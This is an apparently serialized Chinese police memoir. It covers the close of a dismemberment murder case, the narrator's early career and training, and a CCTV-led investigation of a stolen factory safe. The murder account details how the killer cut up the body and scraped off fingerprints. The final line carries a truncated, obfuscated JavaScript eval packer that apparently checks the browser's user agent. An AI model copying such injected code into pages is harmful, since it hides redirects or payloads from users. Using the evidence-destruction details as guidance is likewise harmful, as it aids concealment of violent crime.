一连串的好消息，让专案组所有人精神为之振奋，紧接着工作就围绕取证和追捕徐某展开，追捕组连夜赶往徐某老家江西萍乡，到萍乡后得知嫌疑人在三天前已经离开，去向不明，专案组其他人一面研判他的去向，一面向全国发出协查函，并上网追逃。很快收到消息，徐某已经到达云南西双版纳，专案组立即派人立即前往抓捕，在当地经常的协助下，在西双版纳版纳一处小旅馆将徐某成功抓获。 从河中发现尸袋，到嫌疑人被抓获，历时八天八夜，专案组日夜不眠，从未停下脚步，没有人懈怠，终于可以舒一口气，剩下的事情交给重案队。 三天后，一架从云南昆明出发的班机降落在福建晋江机场，机场有几位特殊的乘客，他们最后才离开飞机，其中一位戴着手铐被两名年轻人架着走下舷梯，机场出口，两辆警车闪着警灯等候已久，所有人上车后，警车迅速驶离，前往发现尸袋的河沟边和石狮蚶江镇。 多年之后，我跟参与审讯的主办案件民警聊天时说起这个案件，他回忆到，嫌疑人徐某有家室，在石狮做木工，一次□□时结识被害人刘某，之后两人姘居在一起，但是刘某性格泼辣，两人经常吵架，被害人刘某经常取笑挖苦徐某，吵架还会动手打徐某，那日与刘某亲戚吃饭喝酒，亲戚走后，两人又发生争执，刘某又动手，徐某暗藏已久的怒火发作，趁刘某不备，使用啤酒瓶击打刘某头部将其打倒，后越想越生气，就多次击打刘某头部，再之后徐某发现刘某已经不动，没有了气息，他没有选择送医，而是坐在刘某旁边，静静等待，确认刘某死亡后，徐某开始思考如何处理尸体，他回忆起曾看过的电影，电影中男子杀人后将被杀女子碎尸的片段，于是，他多次下楼到超市买来刀，锯等物品，开始将刘某分尸，前后用了十六个小时分尸，因记得刘某夸自己漂亮，徐某觉得她不要脸，于是将其脸皮割下来，还模仿电影片段，将手指头指纹刮掉，丢入马桶冲掉，之后开始将整具尸体用工具切碎成很多块，装进塑料袋，再分装到各个编织袋中。之后开始清洗现场，将物品收拾干净，切下来多内脏细小骨头肉等都冲进马桶了。 办案民警还说了一个细节，徐某受审的时候，检察官出局那堆尸块拼完（法医细致的精神，用了很长时间拼回去）残缺的尸体照片时，徐某被吓得两腿发抖，几乎失声。 两年后，经最高院核准，罪犯徐某在晋江被依法执行死刑，一颗步枪子弹结束他罪恶而扭曲的一生，到此，案件画上了一个句号。 我有时在想那条河就在机场边上，最终流向大海，徐某住在河的下流，却鬼使神差选择到上游抛尸，尸体又被敬业的环卫工人捞出，再然后就是一群被外界成为疯子的晋江刑警，真是冥冥中自有注定，天网恢恢，疏而不漏。很多事情，无法用科学解释，我有时在想如果他有得选择的话，他还会这么做吗？当他走出罪恶的一步，等着他的就只有正义的惩处。我从小的理想是当警察，匡扶正义，除恶扬善。从报考公务员我填的人民警察开始，一直到现在，内心深处都没有忘记为什么要当警察。 第一章结束，向奋战在生死一线的兄弟致敬。再次悼念2010年因公牺牲陈水印烈士。 2. 第 2 章 一、消失的保险柜 2013年2月，我已经当了几个月的鞋都刑侦中队副中队长，负责一个探组，组员7名，分三个搭档组，我还有老王以及新分来的民警小许一个搭档组。每年这个时候，都是比较紧张的时候，严防“抢年”，各类刑事案件高发，各大公司工厂发工资，资金量大，大部分都是直接发现金，还有些发不出工资，工人就各种维权，堵政府，堵路时有发生。 鞋都刑侦中队一直都是晋江地区最忙的中队，没有之一，当时每隔三天就轮到一天带队值班，处理当天发生的刑事案件，2012年最高峰一天要处理40余起刑事案件，仅是登记做笔录，就需要两个人忙一整天，其他什么事都干不了，吃饭都是挤时间。从2012年开始，刑侦支队长转任安平市公安局长，出台一些制度，通过改革工作制度，制定新的考核方式，调整人事任命，直接改变了原来疲于应付的工作局面，重拳出击，打击各类刑事犯罪，刑事案件高发的态势才得到遏制，开始逐年下降。我们日常工作还是三班倒，周末单休，平时加班的工作模式还是常态，我们也早已习惯这样高节奏高负荷的工作状态。到2016年大规模的公共视频建设好后，案件大幅度下降，治安形势明显好转，值班才慢慢该为4班倒或者3班倒，周末可以双休。 说回2013年年初，那天又轮到我带队值班，也是我这个探组值班，春节前最忙碌的时候。我刚到办公室就接到值班室电话通报，西坂村最大的服装生产企业大森制衣员工报警称，其财务室的保险柜不见了，这几天工厂在发工资，全组七人，两人办案外出，两人留守处理当日案件，带着老王小许驱车赶往现场，从鞋都所出发，5分钟的车程，西坂我非常熟悉，貴源的管片村，我以前经常来。这家企业有两栋楼，一栋办公，一栋生产和仓储，现场位于企业主办公楼，办公楼共9层，安装有两部电梯，1楼2楼临街，外租给开的一些店铺，三楼以上是公司的一些部门，现场财务室位于7楼。公司副总亲自陪着到现场查看，技术中队的同志赶到现场后勘查，我就跟公司人员了解相关情况。 通过询问公司财务人员，得知保险柜平时安放在财务室西北角，铁制白色漆，是公司楼盖好以后买的，用了七八年，外观有70公分高，40公分宽，非常重，重约70公斤，主要用来存放现金，公司原计划今天发工资的，但是昨天银行就把用来发工资奖金的800万送过来，保险柜放不下，老板就决定昨天提前发了工资，保险柜里就剩下一下零钱，具体数额大约有800元。昨晚发完最后一笔工资，她就把零钱放进保险柜，锁好保险柜，然后锁好财务室的门回家，早上八点半上班，打开财务室的门发现保险柜不见了，门窗完好无损，门锁一直是反锁的，也没有被破坏。 老王带着小许询问当晚的值班保安，值班的两个保安称，从晚上财务回家，到第二天上班，没有看到有人从企业大门进出过，因为年底了，发完工资就放假，工厂业务停了，也没有车辆进出。经过询问当晚在企业住的员工，没有看到可疑人员进出，也没有看到保险柜。 保险柜自己长翅膀飞了不成？ 肯定不会，作为一名资深刑警，凡事都是讲事实，重证据，讲科学，重分析。 08年的时候，当时我还是片警，辖区有系列盗窃保险柜的案件，一伙广西人干的，开着车，先踩好点，然后半夜攀爬进入，保险柜能打开就现场打开，打不开就包上棉被，从楼上扔到楼下，用车运走，再用工具撬开，都是这个套路。当时抓捕这些人，废了很大劲，看着刑侦中队的领枪出去抓捕，羡慕得不行，心想当警察，还是得当刑警，特别是晋江刑警，□□命名的“特别能战斗刑警队”，感觉刑侦大队这帮人，走路都更有气势，说话有底气，到哪里都挂着胸卡，开口就是一句“我是刑大的”，带着一股骄傲，酷毙了。当时所里也有从刑侦调出的老民警，提醒我说刑侦很辛苦，还是片警轻松，大家都要来当片警，我当时很不理解，也很不服气，片警也很忙的好不好，我每天社区那么多事要处理，打架斗殴的，偷鸡摸狗的，邻里不和要调解，工厂消防安全要监管，还要办理治安案件，还有其他任务，后来才知道，刑侦的辛苦和忙碌是别人看不到的，没有干过的人是很难理解的，只是那时我还很年少，不知者无畏。那帮广西人最重被判无期徒刑，涉案几百万，之前一点线索都没有，有一次他们作案时，受害人碰巧外出回来，他们就持刀持枪控制受害人，直接抢走保险柜，之后受害人报警，根据他们逃跑的时间发现一辆□□，我记得是一台广州本田雅阁，用了一块闽D后尾号1234的车牌，那不是傻吗，一看车牌就是假的，然后就跟着这辆车，找到团伙，这就是典型的天网恢恢，那帮广西佬，估计现在还在监狱里。那眼前这起案件又是谁干的呢？还是研究一下现场吧。 我进到财务室发现，财务室外面是一个很大的露台，财务室跟露台之间就隔着一扇铝合金窗户，窗户外没有安装防盗网，我看到窗户是开着的，技术的兄弟告诉我，窗户上，外面露台都有脚印，比较凌乱，根据现场脚印分析，嫌疑人应该是从露台爬窗户进入财务室，然后搬走保险柜。通过楼梯间楼梯离开的，我跟着技术的指引，来到大楼侧边的楼梯，徒步往下走，我发现楼梯每一层都装有一个摄像头，马上把副总叫过来，询问监控资料在哪里，在保安室，我马上赶到保安室，调取监控视频，工厂的监控有些年头了，用的的模拟信号摄像头，像素低，功能简单，dvr录像机，不足是录像不清晰，好处是东西简单，录像保存较好，时间还长。调看楼梯间的录像，因为案发是头天晚上，看的也是晚上的录像，录像是黑白的，没有色彩。看着看着，人眼睛特别不舒服，整个楼梯间晚上没人，我把播放速度开到最大，一个小时后，视频里出现了两个鬼影，两个黑影上楼，时间显示是凌晨2时许，半个小时后，这两个黑影下楼，跟之前不同的是，他们搬着一个箱子，很慢的走下楼，消失在三楼的监控里，二楼没有看到了，经过询问三楼是原料仓库，大部分的时候是空的，门也没锁，平时没有人，我打开门，三楼厚厚的灰尘，一路凌乱的脚印指向靠近外面阳台的门，我走到三楼临街的阳台，发现门虚掩着，阳台外面护栏上系着一根白色的粗绳，一头在护栏外面，我探身看去，绳子吊在空中，离地面约有两米高的位置，我立即通知技术队过来，经辨认，三楼的脚印和七楼财务室的脚印基本一致，分属于两个人。 从目前的情况看，嫌疑人至少有两人，没有发现如何进去工厂的，但是离开的时间和路径已经知晓。正当我准备离开的时候，苏副局长（兼鞋都所长）和刑侦大队长、还有中队长都已经过来，保险柜被盗不论案值多少，都是严重的刑事案件，我向他们汇报了掌握的情况，根据目前的线索，条件还算可以，准备通过调取路面监控追踪嫌疑人，来获取更多的线索，尽早破案。 安排老王去取证，找相关人员做笔录，原计划安排小许去调监控资料，研究一下嫌疑人什么时候进来的，看看有什么遗漏，他告诉我说他不会，做不了，不知道是不会用，还是看不懂视频，让他跟着老王去做笔录好了。我想培养几个看视频厉害的徒弟，确实很难啊，虽然后来我的徒弟很多，到处授课，但在当时，有些人是拿斜眼看我的。视频总不被认可，还没有视频侦查这个概念或者学科，大家都在摸索或者探索，破案几乎还停留在老办法，街面上的监控也不多，听说靠监控破案的就更少了，但是监控还是成功的吸引了我的注意力，我花很多时间捣鼓研究，也没有什么技战术，既是简单的看路线，找线索。 当时普遍人手很紧张，新警能分一个过来是很不容易的，大家都需要，不过相对来说，我更喜欢老民警，新民警也有劣势，完全不懂业务，如果学习能力差，或着自身不愿学习，教的不好，就很尴尬了，后来我观察有少部分年轻民警很聪明，聪明反被聪明误，他发现如果业务不熟掌握不好，一般分配的活就很少，毕竟刑事案件是很严肃的，马虎不得，这样就可以少干活，然后懒懒的不愿意学，人其实还是很聪明的。 小许是警校应届生考过来的，漳州人，据说有个姐姐很疼他，在广东做生意，来上班直接买了台新凯美瑞给他。总的来说，人还不错，学习东西慢，但是认真学，反应没那么快，或者我自我检讨，我对他要求太高，太操之过急了点，总想他快点接手业务，现在想起来，我那时，也有些心高气傲，真的要自我检讨一下。每一个老民警都是从新警过来了，都有被人当成新兵蛋子的经历。 刑警讲究传帮带，就是师傅带徒弟，从13年开始，晋江刑警还有师徒结对，师徒比武活动，但是我运气很好，从入警开始，就没有一个师傅带过我，每次都是马上进入岗位，然后摸索学习，一路走过来，都是这样，内心还是很渴望有位师傅教我，但是，每次都是到处偷师学艺，自己融会贯通，凑合着用，从这个角度讲，我的经验无法复制，不好传授，所以我不是个好师傅，情有可原。 跟小许的从警经历相比，我就有意思多了。2004年8月，我结束了唯一一次在派出所当户籍警的体验，正式到星子县公安局指挥中心工作，从此我跟指挥中心有了不解之缘。 二、新人初来乍到 时任星子县指挥中心主任高水林开着警用涂装的老款富奇牌吉普车到派出所，这是第二次见到老高，他特意来接我回县局上班，老高并不老，局里的同事都叫他高科，因为只有他是局里科技含量最高的，不过我习惯叫他老高，老高看上去很儒雅，皮肤白，身材很好，一头微卷的头发，脸刮得很干净，说话温文尔雅，很客气，脸上总是带着微笑，据说是县里公安的神枪手。2018年退二线，女儿嫁到重庆，经常住重庆。 县局在县城的西南边上，位置稍偏，但是离汽车站比较近，这一点，我还觉得不错，旁边是烈士纪念碑，再往下，是去往秀峰的路，那时环庐山公路还没有修，对面是鄱阳湖，有名的景点“鄱阳湖落星墩”就在不远处，传言星子因此而得名。其实星子历史悠久，原南康府所在地，著名的“爱莲说”就是在这里写的（百度百科：爱莲池，位于江西省九江市庐山南麓星子县城区周瑜点将台东侧，其东南紧连冰玉涧，正南距鄱阳湖1020米。宋熙宁四年（公元1071年），周敦颐在南康府任知军时写下了著名的《爱莲说》。现在的爱莲池呈正方形，四周花岗石护砌，长48.84米，宽34米，深3米，总面积为1661.24平方米。池之正中，筑有面台，花岗石彻垒，内筑五花土，台上有观莲亭，亭四方形，立柱起架，柱础莲瓣纹。顶为重檐歇山顶，亭之前后，有池桥各一与池相连，三墩四孔，墩以花岗石彻垒，后桥为"之"字形曲桥，衔接桥长10.55米，宽1.23米，高2.78米；二桥下方，各有莲池两方于侧），爱莲池作为历史文物还保存着原貌，就在南康派出所不远，围墙封死了，不对外开放，我曾爬墙进去游览，年久失修，感觉就是古物，不知道现在如何。星子县背靠庐山，面朝鄱阳湖，风水宝地，就是经济不咋的。公安局指挥中心在六楼，整个办公楼也只有六层半，六楼一半是指挥中心，接警大厅一半，剩下的一半是局会议室，天气好的时候，在办公室可以观赏庐山及鄱阳湖美景，若是遇到雨季，还以远观庐山几条瀑布，为此，我还特意买了望远镜。 在指挥中心，我的日常工作就是保障指挥中心设备、三楼和六楼会议室设备，机要文件的收发，还有就是整栋楼的电脑、电话、网络维护，全县的网吧管理、涉互联网案件的办理等。当时全局在岗在编民警128名，我是第128名，当年县里来了两名新警，一个小熊，在派出所，另一个就是我，后来在警校参加初任培训，我们两安排睡同一间宿舍。指挥中心算上我有民警四人，老高，一名女警（我来后没多久调走了，一个月后剩三个人）；还有一名快退休的老同志，原通信科科长，吉安人，大学毕业后分配到星子，一呆就是一辈子，印象深刻的是他的普通话没人能听懂，他一生老实本分，勤俭节约，前妻去世后，经人介绍重组新家庭，家里孩子多，负担重，而星子县公安局工资低，我记得我每月工资700，补贴360，这是我的全部收入，之前我在公司暑期实习的时候，工资是一千五，当时公司部门其他人都在2500到3000，收入低，就只能省吃俭用，我去过他家，八口人，挤在四间砖瓦平房内，厨房卫生间是临时搭建的，因为家庭困难，他退休后还一度返聘回公安局上班，从事线路维护工作，真的非常不容易，他的几个孩子，在我印象中没有一个上大学的，他本人倒是很乐观，每天踏踏实实工作，负责程控电话和无线电对讲设备，踏踏实实工作。 由于没有制服，工作不方便，老高把自己一套新的春秋装给了我，就是灰色衬衫，还有领带，还有一件短袖夏装，找装财科要来警衔，就是没有警号，制服主要用于特定的场合，平时我就穿自己衣服，我开玩笑到第一份工作就是便衣警察。指挥中心的工作还是相当清闲的，除了偶尔修修电脑外，几乎没有什么更多的事情，局里没有专门的食堂，雇了一家人做饭，也仅仅是为值班和几位局领导提供服务，非值班期间，我是得自己找地方吃饭的，于是，大部分的时候，我都在局里值班，也经常帮其他人顶班，这一局面直到第二年来了十几位新警才得到根本改观。 由于日子清闲，我每天开始坚持跑步，锻炼身体，也慢慢与大家混熟了，很快我清闲的日子到头了，公安部在全国开展大练兵活动，各级公安机关都动起来，还有考核和汇报表演，九江要组织阅警式，各个县都要派代表队参与，作为全局最年轻的民警，我被抽调参加专项大练兵活动，还被选为小教官，总共十二个人，开始练体能，警务技能，表演的警体拳，十六式擒拿格斗，还有各种抓捕动作，每周练三天，二天回单位上班，还专门配发了新款作训服，这是我的第三套制服，这套制服是我到参加新警培训唯一一套制服，穿了两个月。 到了12月份，终于接到期盼已久的通知，05年1月到九江市人民警察学校参加新警初任培训，这是我认为我成为新警的一个重要仪式，我没有在警校呆过，我认为自己必须经过警校的洗礼，才能成为真正的警察，因为我很珍惜这次机会。新警培训，主要对象是新入警的全省非警校毕业生和非应届毕业生，一百五十人，地点在莲花洞风景区，现在是庐山风景区。 三、新警初任培训 2005年过完元旦，我从瑞昌老家搭乘瑞昌市公安局的车，跟瑞昌四名新警一起抵达九江人民警察学校。九江市人民警察学校，还有一个招牌九江市政法干部学校，坐落于莲花洞森林公园，在一个村子旁边，这个村子遍地农家乐吃饭的饭馆，每天有几趟公交车去好汉坡、铁佛寺，正好经过这里，好汉坡是上庐山的爬山路，我爬过一次，上山需要大约4个小时，培训期间周末是不上课的，同期有几个同学周末没有回家，相约爬庐山，因为庐山要门票，他们就在当地人的指引下，抄近路逃票，翻阅铁栅栏时被发现，后来被通报，学校派人去接回来，成了我们那期学员一个大事件，正直冬季，山路崎岖，还经常结冰，其实并不适合爬山游玩，整个培训期间我都在学校，因为太冷，没有出去玩，当时莲花洞不用门票，我也没去。 警校建在一个半山坡上，占地面积不大，由六栋两层砖木结构青瓦屋顶的小楼外加一个单层砖瓦房组成，其中两层小楼分别是四栋宿舍，一栋办公楼，一栋教学楼，剩下的是食堂，有一个篮球场，各楼呈阶梯依附山势而建，错落有致，整个校区有两个门，象征性的挂牌，没有围墙，几乎是全开放的，外面就是旁边村子的民居，教学校有点类似80年代小学的小楼，有八间教室，上下各四间，食堂和教室成夹角，中间是篮球场，这是我们体能测试、站队活动的唯一一块小地方，作为一个警察培训基地，专门培训在职人民警察，没有运动场，没有射击场，没有模拟现场，与其说是培训基地，不如说更像一个度假小村。作为学员，这是我在这里的唯一次次培训，十四年后，我再次来到这里，是作为□□讲述专业课程。后来到了福建晋江，在泉州培训基地晋升培训，那里设施齐全，体能健身房，各种武器枪械，足球场，跑道，射击场，急救模拟假人，心理学课专用场地，甚至有造浪游泳池用于训练救援。对比两地，从理念、课程设置、以及基础设施上看，差距都是非常明显的。经济发展水平决定，但是我一直认为，思想决定经济发展水平。在职培训，特别是初任培训，大多是业务知识的教授，在培训中着重建立思想理念，要完成人民到人民警察的转变，遗憾的是，整个培训有点像一次条件艰苦的度假。在风景宜人的庐山脚下，享受新鲜的空气，住着四人间，晚上很冷，被子很薄，没有暖气，没有空调，正直隆冬，那段时间平均气温在零下，学校的自来水是从山上山泉水引下来的，水管时常被冻裂，导致断水。公共卫生间，热水供应困难，好在旁边有村落，当时附近村民都有块广告牌，热水淋浴5元，可以花5块钱到村民家洗一次舒服的热水澡。每间宿舍4个人，当时我的室友除了星子的小熊，还有修水的两个，张洋、张占宇，张洋是内蒙古赤峰人，为人爽直，自带喜剧效果的东北口音，浓眉大眼，很好接触。张占宇是湖北人，话少，内敛。我们当时分到一个班，班长吕亮，湖北黄冈人，共青城局的，我们这个班十个人，我年纪最小，大家都很照顾我，还把优秀学员留给了我，这是我工作以后拿到的第一个纸质奖励，异常珍惜，临结业的时候大家一起吃了顿饭，但是没有留下合影，其他人的印象我已经很模糊了，后来就再也没有聚过。在东南省的最后一次警衔晋升培训，我也是班长，我们组了个微信群，现在还时常有联系。 这次培训，如同度假，课程表极少，大部分的时间都是自主安排，因为有来自全省各地公安机关的，大家在一起各种交流，各种吐槽，下课后时间很长，打牌是最多的消遣。当然还有一件很开心的事情是下山，到九江市区玩耍，离市区有十几公里，只能搭最后一班公交车下山，上山就不用担心有出租车，那时候的出租车都是黄色车身，昌河铃木北斗星，长安铃木的车，还有东风起亚千里马，都是小型车。市区就是采购物品，吃的喝的，还有就是吃饭聚会，或者酒吧ktv，当然还有人闷得慌，下山去网吧玩。我比较少下山，除了同学约一起集体活动，周末我都很少出去，在学校带着，看上去有些另类或者不合群。有一次下大雪，我看到到食堂那条下坡路积雪路滑，就找个苕帚扫雪，有人看到我扫，就假如我一起，大家都是刚刚出校门的年轻人，一路欢歌笑语。 雪后第二天，我们接到消息，高速交警一个中队四个民警，在处理交通事故中，因路面结冰，被一辆失控的大货车撞了，三人当场牺牲一人重伤。中队刚组建，有五个人，一下子去了四个，牺牲的有两人，是跟我们一批入警，因工作繁忙，没有参加这期培训，消息传来，我感到震惊，这是我第一面对战友的牺牲，感到巨大的压抑，我是第一次感到如此的悲伤，第一次真真切切体会到流血牺牲是我们这个职业以后要经常对面的，那天我沉思了一天。第三天上午，我们在教室电视里参加追悼仪式，电视中家属哭断魂的场面至今历历在目。新时代，人民警察这个群体注定是默默付出，负重前行的，当你选择加入这个群体，你的家人也要跟你一起负重前行。此后十四年，我一次又一次的获悉，认识的战友牺牲，那时用□□，他们的头像永远变成了灰色，后来有了微信，有些兄弟的微信朋友圈再有没有更新。据统计，改革开放40年来，平均每天有1名以上人民警察因公殉职，有句话这么写的：我们直面黑暗，把光明留给人间。 无忧无虑的日子过得飞快，没有业务测试、没有考核，甚至我一直期待的宣誓环节都省了，原计划为期三个月的培训，因为时逢春节，压缩成了50天。农历腊月二十七，所有人回家过年，年后回家上班，我的初任培训就这么简单愉快的结束，留给我的是山上欢歌笑语，和那一张张年轻面孔，他们将赴全省各地，在各自的岗位生根发芽。他们中，有些人成了领导，或者去了重要的部门岗位，还有些调出公安机关，另谋出路，还有当啷入狱的，也有英年早逝，因为联系的极少，大部分人的情况不得而知。一年半以后，我调到东南省安平市公安局，好像是唯一一个离开江西的。 四、监控中坠落的黑影 当时离开江西的时候，其实我还是个新警，挂着一毛一的警衔。当时分到鞋都镇派出所，一呆就是八年。从社区民警，调任刑侦，虽然一路变化，但是初心不改。小许来的时候，是我在鞋都呆的第七个年头，七是一个很神奇的数字，每周有七天，是一个小轮回，中国人对七这个数字是很敬畏的，讲究仪式感，办丧事要七七四十九天，这个习俗一直持续至今。对我来说，七是一道坎，第七年是我最难熬的一年，那年我人生第一次严重失眠，也是唯一一次，入睡困难，极容易醒，平均每天睡眠时间三四个小时，长期的睡眠不足，导致我火气大，易怒，经常跟其他人起冲突，行动力变弱，缺乏思考，失去判断力，办事效率愈来愈低，很难适应工作。不过那道坎以后，我开始认识自己，重新开始思考人生，可以说是轮回的开始。对工作愈加得心应手。 盗窃保险柜，由我来指挥侦查，但是实际上参与的人不多，也没有线人提供给线报，为了尽快查清楚被盗保险柜案，按照现有的线索分析，我决定兵分两路展开侦查工作。一路由我自己牵头，开展我擅长视频侦查工作，通过视频还原现场，寻找破案关键线索；另外一路，请社区民警来帮忙，对工厂员工进行排查，重点排查入职时间段，且近期离职的，从现场的情况分析，犯罪嫌疑人对现场情况非常熟悉，进出路线，事先做了充分的谋划，因为楼下有保安巡查，无法正常出入，只能从三楼离开，还专门为此离开准备了绳索索降，据了解，三楼基本闲置，所以保安夜间巡查一般都不去三楼，还有就是嫌疑人应该是冲着工资款去的，应该是获知第二天发工资，头天保险柜内有巨款，熟悉内部情况，人算不如天算，保险柜已经没有钱，至少排除了财务部门内鬼的可能性，因为案发前已经发了工资，而嫌疑人并不知情，要么已经离职，要么是与员工有联系，为了不惊动，改有社区民警参与调查，实际上是为了麻痹嫌疑人。但是，发完工资，工厂就放假了，排查工作非常困难，只能通过人员名单来分析，老王负责牵头，老王是安溪人，大我七岁，人比较老实，警校毕业以后一直在晋江刑侦工作，从未离开过，后来刑侦改革，去了派出所，2018年我去漳州出差，当地一个刑侦大队长是他同班同学，我们还聊起他。 做好分工以后，我就带着小许去看监控，当时晋江已经开始建设高清视频，叫城市安全信息系统，第一期已经建好，正在着手建第二期，后来第三期我开始参与建设，当时鞋都作为重点，第一期建设了不少点位，总的来时，杯水车薪，还是很少，仅有几十个，在几条主要干道上，早起是交警牵头建，以大路为主，目标是追查肇事逃逸车辆，这种建设方式歪打正着，后来为打击破案立下汗马功劳，也是视频体系建设的基础。虽然高清视频少，但是普通视频还是有的，当年为了整体治安防控建设，鞋都镇和各村积极筹资，以村社区为单位，建设了一批监控，存储放在村社区警务室，没有联网，受制于经费和使用理念，效果一般，但是在现实破案中一直发挥着很重要的作用，后来，安平市社会治安综合治理视频建设，也是参考这个模式。我先带着小许到了西坂警务室，查看监控，西坂警务室的监控我已经很熟悉了，先布置西坂巡逻队备份，然后开始找监控，离现场最近的有个监控，在路口那，大约有两百米远，先从那里开始看起，正好监控的画面远端可以看到现场那个绳索的位置，但是夜间虽然有路灯，但是监控画面效果很差，画面是黑白色的。校正时间后，我从他们消失在工厂监控画面时间开始看，才看了十几分钟，就看到现场位置有黑影在活动，19寸的显示器，画面放到最大，人在画面上也就1、2厘米的长度，隐约能看到三楼阳台上有人活动，先是一个物品从楼下被放下来，接着是一个人爬下去，爬到地面，在走动，紧接着，我看到我这辈子都不会忘掉的画面：最后有一个人影从三楼阳台往下爬，突然就坠落下去，在地面上一动不动，先下去的人影跑向那个不动的影子，过了一小会，来了一辆摩托车，停在黑影边上，然后黑影上车，摩托车离开，很快又来了另一辆摩托车，黑影上车快速离开，两辆摩托车都是往西坂加站油路口，紧接着看加油站路口监控，两辆摩托车往四境去了，四境社区是鞋都镇政府所在地，摩托车不比小汽车，追踪起来比较费时费力，高清摄像头还好，老款的模拟信号摄像头看着真是令人绝望，好在那条路上，有两处新安装的高清摄像头，我立马返回办公室，通过公安内网观看这两处视频，视频的熟悉得益于我几年前跟建设视频的人，当时还在交警的尤长鹏熟悉，那时我还是片警，受指派向下来调研的东南省厅牛纪纲厅长汇报流动人口管理创新工作，当时尤长鹏汇报视频建设，这成功吸引了我的注意力，他一直致力于视频建设，后来我到了刑警队，因为侦查办案需要，有时也会找他，受益良多。很快就找到这两台摩托车，看到四人，分乘，驾驶员都戴着头盔，前一辆车还有中间隐约看到一个箱柜的物品，如果没有猜错的话，就是那个消失的保险柜，而后面的摩托车，就载着两个人。高清视频，如果是白天几乎能看清楚面部特征，但是晚上，速度较快，看的脸都很模糊。但是这不影响我追视频，通过城安系统高清视频平台，我一路追踪，两辆摩托车到了永和镇地界就消失了。 案件查到这里，嫌疑人如何做案，之后如何离开基本上已经清楚，我现在关心的是，那个从楼上坠楼的黑影，是否安好，还活着吗？ 员工排查组的工作情况也反馈过来，刚发完工资，大部分人都已经离厂，没有什么结果，但是员工近期离职的名单拿过来了。我们几个人就在办公室里核对员工身份信息，先是查一下是否是真实身份，其次就是查一下有没有前科劣迹，从中排查，半年内离职的名单，大约有一百来人，很快我们几个人就排查完了，没有什么有用的信息。 线索只剩下最后一个了，那就是城安系统拍下的车牌，尤长鹏最早设计视频点位的时候，优先考虑的是拍下车牌，主要出于查肇事逃逸车辆的目的，因为车牌拍的特别清楚，我们查案件的时候也特别受用，后来我在建设视频，设计点位的时候，就总结了这个经验，并做了改进，破案效率大幅提升。通过查询两辆摩托车登记的车主信息，获得了两个手机号码，第二天，拿到了手机话单，通过分析，发现第一辆摩托车车主，案发前下午就已经到了现场，案发后也就是嫌疑人离开时，有一条通话记录，综合视频分析，摩托车车主是盗窃保险柜的嫌疑人打电话叫来接应的，之前也是他驾驶摩托车送人过来，加上一起用摩托车运走保险柜，应该是同伙，也就是说他是第三名嫌疑人，我在分析话单的时候，灵机一动，把案发后通话的那个号码，放到离职人员名单里过一遍，发现是其中一名两个月前离职的保安的号码，这下子，案件已经破了一半，基本上确认了两名犯罪嫌疑人身份，摆在我面前的剩两个问题： 1、就是第三名嫌疑人身份，还有另一辆摩托车驾驶人是否是嫌疑人，身份无法确认；如何抓捕、审讯、结案。 五、海边的保险柜 为了尽快查明第三名嫌疑人身份，我们把两个已经确认身份的嫌疑人手机号码再次查询话单，通过分析两人共同联系人，再此去查询话单，经过两轮查询，发现两人共同联系人中有一个案发当晚也在现场附近活动，应该是第三名嫌疑人，只是因为电话没有实名登记，无法查清身份，这个号码也没有出现在工厂离职人员名单里。 为了尽快破案，防止夜长梦多，领导指示我尽快收网，早日破案。但是摆在我面前的还有第三个问题，目前作为盗窃案件来说，被盗物品就只有800元现金，那个用了很多年的保险柜也不值钱，案件价值明显很小，到时候批捕起诉恐怕都是问题。这就是中国的现实，很多时候我们费劲周折，冒着生命危险抓回嫌疑人，但是最后到了检察院法院，就从轻发落，有时候觉得很不值，甚至内心还期待，案件的受害人最好是法院检察院的或者他们的亲属，让他们体验一下什么“亲者痛仇者快”。现实是，在很多案件的定性，量刑判罚上公检法三家存在认识上的巨大差异。而且越走越远，每次报捕，检察院都要公安机关出局逮捕必要性说明，没有这个不予批捕，难道说，我们提供的证据材料，法律文书还不如一张逮捕必要性说明的纸有用吗，这是官僚主义作风的典型特征。有时候就觉得很困惑。公安民警经常因为各种原因被追责，甚至以渎职来审查，但是检察院认为嫌疑人没有危害，不予批捕，嫌疑人放出去以后继续作案，做出更恶劣的犯罪行为，甚至杀人，检察院也不会被追究相应责任。但是你如果没有及时破案，还有要来追责，这就是法律上的不平等。后来检察院部分职能转到监委，事情才得到改观。 社会现实如此，但是我们从未放弃追求正义，打击罪恶，维护世间朗朗乾坤。接到领导指示，我开始调整部署，把整组人召集，准备行动。正当我们全组人，摩拳擦掌准备动手收网的时候，值班室通知我，有人报警海边发现一个被撬开的保险柜，我们马上赶到现场查看。发现保险柜的位置离公路约三四百米，在一处通往海边的土路防护林带边上，现场位置比较偏僻，保险柜外观是白色，大小跟大森制衣被盗的相当，而且明显是被撬开，应该是被盗贼搬运过来撬开取财物的。我叫来技术队的，进行勘查，他们结束后，我仔细看了保险柜，柜内有一些纸质文件类的东西，还有一本营业执照，是泉州东海的某公司，我把发现的保险柜拍照，拿去大森公司，财务说他们被盗的不是这个，我倒吸了一口凉气，虽然跟我判断的一直，不是大森公司，但是又多一起盗窃保险柜案件，不知道两起案件是不是同一伙人做的。我把保险柜内发现的物品仔细分析了一下啊，找到了主人，东海某公司，通过系统分析，找到了法人代表的电话，我打他电话，询问是否丢失过保险柜，他说是的，但是里对方说不用了，证件已经补齐了，说他的保险柜被盗很久了，且不是我们辖区的案件，我就没有多管闲事。年底案件多，今年制定的目标破案率要比去年提高几个点，这是陈局长定的目标，要全力完成。我还是专注早日侦破手上这起案件。陈局长来晋江的时候是2012年5 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 